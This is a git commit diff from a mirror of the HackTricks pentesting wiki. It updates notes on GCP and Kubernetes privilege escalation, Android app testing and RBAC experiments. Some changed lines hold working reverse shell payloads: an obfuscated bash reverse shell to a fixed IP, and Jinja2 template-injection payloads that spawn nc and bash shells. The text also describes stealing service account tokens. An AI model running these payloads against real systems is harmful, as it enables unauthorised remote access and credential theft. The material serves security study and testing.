1
2
Fork 0
mirror of https://github.com/carlospolop/hacktricks.git synced 2023-12-14 19:12:55 +01:00

GitBook: [#3006] No subject

This commit is contained in:
CPol 2022-02-12 12:08:47 +00:00 committed by gitbook-bot
parent 7a409e67d8
commit 14b81d88b7
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
6 changed files with 276 additions and 41 deletions

View file

@ -17,7 +17,7 @@ gcloud iam roldes update <rol name> --project <project> --add-permissions <permi
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](gcp-privesc-to-other-principals.md#deploymentmanager) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
### iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
### iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)
This permission allows to **request an access token that belongs to a Service Account**, so it's possible to request an access token of a Service Account with more privileges than ours.
@ -37,7 +37,7 @@ Note that **iam.serviceAccountKeys.update won't work to modify the key** of a SA
### iam.serviceAccounts.implicitDelegation
If you have the _**iam.serviceAccounts.implicitDelegation**_** permission on a Service Account** that has the _**iam.serviceAccounts.getAccessToken**_** permission on a third Service Account**, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
If you have the _**iam.serviceAccounts.implicitDelegation**_\*\* permission on a Service Account\*\* that has the _**iam.serviceAccounts.getAccessToken**_\*\* permission on a third Service Account\*\*, then you can use implicitDelegation to **create a token for that third Service Account**. Here is a diagram to help explain.
![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png)
@ -73,7 +73,7 @@ You can find a script to automate the [**creation, exploit and cleaning of a vul
This means that as part of creating certain resources, you must “actAs” the Service Account for the call to complete successfully. For example, when starting a new Compute Engine instance with an attached Service Account, you need _iam.serviceAccounts.actAs_ on that Service Account. This is because without that permission, users could escalate permissions with fewer permissions to start with.
**There are multiple individual methods that use **_**iam.serviceAccounts.actAs**_**, so depending on your own permissions, you may only be able to exploit one (or more) of these methods below**. These methods are slightly different in that they **require multiple permissions to exploit, rather than a single permission** like all of the previous methods.
**There are multiple individual methods that use \_iam.serviceAccounts.actAs**\_**, so depending on your own permissions, you may only be able to exploit one (or more) of these methods below**. These methods are slightly different in that they **require multiple permissions to exploit, rather than a single permission** like all of the previous methods.
### iam.serviceAccounts.getOpenIdToken
@ -154,6 +154,70 @@ For a more in-depth explanation visit [https://rhinosecuritylabs.com/gcp/iam-pri
**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
## container
### container.clusters.get
This permission allows to **gather credentials for the Kubernetes cluster** using something like:
```bash
gcloud container clusters get-credentials <cluster_name> --zone <zone>
```
Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
{% hint style="info" %}
Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
{% endhint %}
### container.clusters.getCredentials
Apparently this permission might be useful to gather auth credentials (basic auth method isn't supported anymore by GKE if you use the latest GKE versions).
### container.roles.escalate/container.clusterRoles.escalate
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **Roles** and **ClusterRoles** with **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update Roles/ClusterRoles with more permissions** that ones he held, effectively bypassing the Kubernetes protection against this behaviour.
**container.roles.create** and/or **container.roles.update** are also **necessary** to perform those privilege escalation actions.
### container.roles.bind/container.clusterRoles.bind
**Kubernetes** by default **prevents** principals from being able to **create** or **update** **RoleBindings** and **ClusterRoleBindings** to give **more permissions** that the ones the principal has. However, a **GCP** principal with that permissions will be **able to create/update RolesBindings/ClusterRolesBindings with more permissions** that ones he has, effectively bypassing the Kubernetes protection against this behaviour.
**container.roleBindings.create** and/or **container.roleBindings.update** are also **necessary** to perform those privilege escalation actions.
### container.cronJobs.create, container.cronJobs.update container.daemonSets.create, container.daemonSets.update container.deployments.create, container.deployments.update container.jobs.create, container.jobs.update container.pods.create, container.pods.update container.replicaSets.create, container.replicaSets.update container.replicationControllers.create, container.replicationControllers.update container.scheduledJobs.create, container.scheduledJobs.update container.statefulSets.create, container.statefulSets.update
All these permissions are going to allow you to **create or update a resource** where you can **define** a **pod**. Defining a pod you can **specify the SA** that is going to be **attached** and the **image** that is going to be **run**, therefore you can run an image that is going to **exfiltrate the token of the SA to your server** allowing you to escalate to any service account.\
For more information check:
{% content-ref url="../../../pentesting/pentesting-kubernetes/hardening-roles-clusterroles/" %}
[hardening-roles-clusterroles](../../../pentesting/pentesting-kubernetes/hardening-roles-clusterroles/)
{% endcontent-ref %}
As we are in a GCP environment, you will also be able to **get the nodepool GCP SA** from the **metadata** service and **escalate privileges in GC**P (by default the compute SA is used).
### container.secrets.get, container.secrets.list
As [**explained in this page**](../../../pentesting/pentesting-kubernetes/hardening-roles-clusterroles/#listing-secrets), with these permissions you can **read** the **tokens** of all the **SAs of kubernetes**, so you can escalate to them.
### container.pods.exec
With this permission you will be able to **exec into pods**, which gives you **access** to all the **Kubernetes SAs running in pods** to escalate privileges within K8s, but also you will be able to **steal** the **GCP Service Account** of the **NodePool**, **escalating privileges in GCP**.
### container.pods.portForward
As [**explained in this page**](../../../pentesting/pentesting-kubernetes/hardening-roles-clusterroles/#port-forward), with these permissions you can **access local services** running in **pods** that might allow you to **escalate privileges in Kubernetes** (and in **GCP** if somehow you manage to talk to the metadata service)**.**
### container.serviceAccounts.createToken
Because of the **name** of the **permission**, it **looks like that it will allow you to generate tokens of the K8s Service Accounts**, so you will be able to **privesc to any SA** inside Kubernetes. However, I couldn't find any API endpoint to use it, so let me know if you find it.
### container.mutatingWebhookConfigurations.create, container.mutatingWebhookConfigurations.update
These permissions might allow you to escalate privileges in Kubernetes, but more probably, you could abuse them to **persist in the cluster**.\
For more information [**follow this link**](../../../pentesting/pentesting-kubernetes/hardening-roles-clusterroles/#malicious-admission-controller).
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

View file

@ -214,26 +214,6 @@ This give you access to read the secrets from the secret manager.
This give you access to give you access to read the secrets from the secret manager.
## container
### container.clusters.get
This permission allows to **gather credentials for the Kubernetes cluster** using something like:
```bash
gcloud container clusters get-credentials <cluster_name> --zone <zone>
```
Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
{% hint style="info" %}
Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
{% endhint %}
### container.clusters.getCredentials
Apparently this permission might be useful to gather basic auth credentials (auth method that isn't supported anymore by GKE if you use the latest GKE versions)
## \*.setIamPolicy
If you owns a user that has the **`setIamPolicy`** permission in a resource you can **escalate privileges in that resource** because you will be able to change the IAM policy of that resource and give you more privileges over it.

View file

@ -5,7 +5,7 @@
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
#echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
#echo\WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Short Rev shell

View file

@ -21,7 +21,7 @@ It's highly recommended to start reading this page to know about the **most impo
This is the main tool you need to connect to an android device (emulated or physical).\
It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more.
Take a look to the following list of [**ADB Commands**](adb-commands.md) _\*\*_to learn how to use adb.
Take a look to the following list of [**ADB Commands**](adb-commands.md) \_\*\*\_to learn how to use adb.
## Smali
@ -51,11 +51,11 @@ Pay special attention to **firebase URLs** and check if it is bad configured. [M
Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.\
Reading the **manifest** you can find **vulnerabilities**:
* First of all, check if **the application is debuggeable**. A production APK shouldn't be (or others will be able to connect to it). You can check if an application is debbugeable looking in the manifest for the attribute `debuggable="true"` inside the tag _\<application_ Example: `<application theme="@2131296387" debuggable="true"`
* First of all, check if **the application is debuggeable**. A production APK shouldn't be (or others will be able to connect to it). You can check if an application is debbugeable looking in the manifest for the attribute `debuggable="true"` inside the tag _\<application_ Example: `<application theme="@2131296387" debuggable="true"`
* [Learn here](drozer-tutorial/#is-debuggeable) how to find debuggeable applications in a phone and exploit them
* **Backup**: The **`android:allowBackup`** attribute defines whether application data can be backed up and restored by a user who has enabled usb debugging. If backup flag is set to true, it allows an attacker to take the backup of the application data via adb even if the device is not rooted. Therefore applications that handle and store sensitive information such as card details, passwords etc. should have this setting explicitly set to **false** because by default it is set to **true** to prevent such risks.
* **Backup**: The **`android:allowBackup`** attribute defines whether application data can be backed up and restored by a user who has enabled usb debugging. If backup flag is set to true, it allows an attacker to take the backup of the application data via adb even if the device is not rooted. Therefore applications that handle and store sensitive information such as card details, passwords etc. should have this setting explicitly set to **false** because by default it is set to **true** to prevent such risks.
* `<application android:allowBackup="false"`
* **NetworkSecurity:** The application network security can be overwritten the defaults values with **`android:networkSecurityConfig="@xml/network_security_config"`**. A file with that name may be put in _**res/xml.**_ This file will configure important security settings like certificate pins or if it allows HTTP traffic. You can read here more information about all the things that can be configure, but check this example about how to configure HTTP traffic for some domains:&#x20;
* **NetworkSecurity:** The application network security can be overwritten the defaults values with **`android:networkSecurityConfig="@xml/network_security_config"`**. A file with that name may be put in _**res/xml.**_ This file will configure important security settings like certificate pins or if it allows HTTP traffic. You can read here more information about all the things that can be configure, but check this example about how to configure HTTP traffic for some domains:
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
* **Exported activities**: Check for exported activities inside the manifest as this could be dangerous. Later in the dynamic analysis it will be explained how [you can abuse this behaviour](./#exploiting-exported-activities-authorisation-bypass).
* **Content Providers**: If an exported provider is being exposed, you could b able to access/modify interesting information. In dynamic analysis [you will learn how to abuse them](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information).
@ -181,7 +181,7 @@ Then, decompress all the DLsL using [**xamarin-decompress**](https://github.com/
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
&#x20;and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to **read C# code** from the DLLs.
and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to **read C# code** from the DLLs.
### Automated Static Code Analysis
@ -191,7 +191,7 @@ With this knowledge, **mariana-trench will review the code and find possible vul
### Other interesting functions
* **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`&#x20;
* **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
* **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
* **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
* [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
@ -220,10 +220,10 @@ Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emu
You can use some **emulator** like:
* [**Android Studio**](https://developer.android.com/studio) **(**You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).&#x20;
* If you want to try to **install** an **image** and then you want to **delete it** you can do that on Windows:`C:\Users\<User>\AppData\Local\Android\sdk\system-images\` or Mac: `/Users/myeongsic/Library/Android/sdk/system-image`&#x20;
* [**Android Studio**](https://developer.android.com/studio) \*\*(\*\*You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
* If you want to try to **install** an **image** and then you want to **delete it** you can do that on Windows:`C:\Users\<User>\AppData\Local\Android\sdk\system-images\` or Mac: `/Users/myeongsic/Library/Android/sdk/system-image`
* This is the **main emulator I recommend to use and you can**[ **learn to set it up in this page**](avd-android-virtual-device.md).
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(\_Free version:** Personal Edition**, you need to** create **an** account.\_)
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(\_Free version:** Personal Edition\*\*, you need to\*\* create **an** account.\_)
* [Nox](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
{% hint style="info" %}
@ -289,7 +289,7 @@ Drozer is s useful tool to **exploit exported activities, exported services and
### Exploiting exported Activities
\*\*\*\*[**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
_\*\*_Also remember that the code of an activity starts with the `onCreate` method.
\_\*\*\_Also remember that the code of an activity starts with the `onCreate` method.
#### Authorisation bypass
@ -324,15 +324,15 @@ Content providers are basically used to **share data**. If an app has available
### **Exploiting Services**
[**Read this if you want to remind what is a Service.**](android-applications-basics.md#services)\
_\*\*_Remember that a the actions of a Service start in the method `onStartCommand`.
\_\*\*\_Remember that a the actions of a Service start in the method `onStartCommand`.
As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services)\*\*\*\*
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
_\*\*_Remember that a the actions of a Broadcast Receiver start in the method `onReceive`.
\_\*\*\_Remember that a the actions of a Broadcast Receiver start in the method `onReceive`.
A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](./#exploiting-broadcast-receivers)
@ -405,7 +405,7 @@ Here I'm going to present a few options I've used to bypass this protection:
* You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
* If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)&#x20;
* If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Common Web vulnerabilities
@ -479,7 +479,7 @@ By default, it will also use some Frida Scripts to **bypass SSL pinning**, **roo
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts (**to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
MobSF also allows you to load your own \*\*Frida scripts (\*\*to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../.gitbook/assets/image (215).png>)
@ -489,7 +489,7 @@ Moreover, you have some Auxiliary Frida functionalities:
* **Capture Strings**: It will print all the capture strings while using the application (super noisy)
* **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
* **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
* **Search Class Pattern**: Search classes by pattern
* **Search Class Pattern**: Search classes by pattern
* **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".

View file

@ -717,6 +717,7 @@ Simply modification of payload to clean up output and facilitate command input (
More:
```python
()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()[133]
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> <port> >/tmp/f')|attr('read')()}}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}

View file

@ -328,7 +328,9 @@ kubectl delete role test-r
kubectl delete serviceaccount test-sa
```
## Not work - Create/Patch Bindings
## Doesn't work
### Create/Patch Bindings
**Doesn't work:**
@ -417,3 +419,191 @@ kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### Bind explicitly Bindings
In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\
However, it didn't work for me:
```yaml
# Create 2 SAs, give one of them permissions to create clusterrolebindings
# and bind permissions over the ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to bind the ClusterRole "admin" with the second SA (won't work)
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: test-crb2
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
kubectl delete clusterrolebindings test-crb
kubectl delete clusterrolebindings test-crb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa
```
```yaml
# Like the previous example, but in this case we try to use RoleBindings
# instead of CLusterRoleBindings
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-cr
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["clusterrolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["rolebindings"]
verbs: ["get", "create"]
- apiGroups: ["rbac.authorization.k8s.io/v1"]
resources: ["clusterroles"]
verbs: ["bind"]
resourceNames: ["admin","edit","view"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa
namespace: default
roleRef:
kind: ClusterRole
name: test-cr
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Won't work
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb2
namespace: default
subjects:
- kind: ServiceAccount
name: test-sa2
namespace: default
roleRef:
kind: ClusterRole
name: admin
apiGroup: rbac.authorization.k8s.io
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
# Clean environment
kubectl delete rolebindings test-rb
kubectl delete rolebindings test-rb2
kubectl delete clusterrole test-cr
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2
```
### Arbitrary roles creation
In this example we try to create a role having the permissions create and path over the roles resources. However, K8s prevent us from creating a role with more permissions the principal creating is has:
```yaml
# Create a SA and give the permissions "create" and "patch" over "roles"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
resources: ["roles"]
verbs: ["patch", "create", "get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-rb
subjects:
- kind: ServiceAccount
name: test-sa
roleRef:
kind: Role
name: test-r
apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -
# Try to create a role over all the resources with "create" and "patch"
## This won't wotrk
echo 'kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: test-r2
rules:
- apiGroups: [""]
resources: ["*"]
verbs: ["patch", "create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-
# Clean the environment
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
```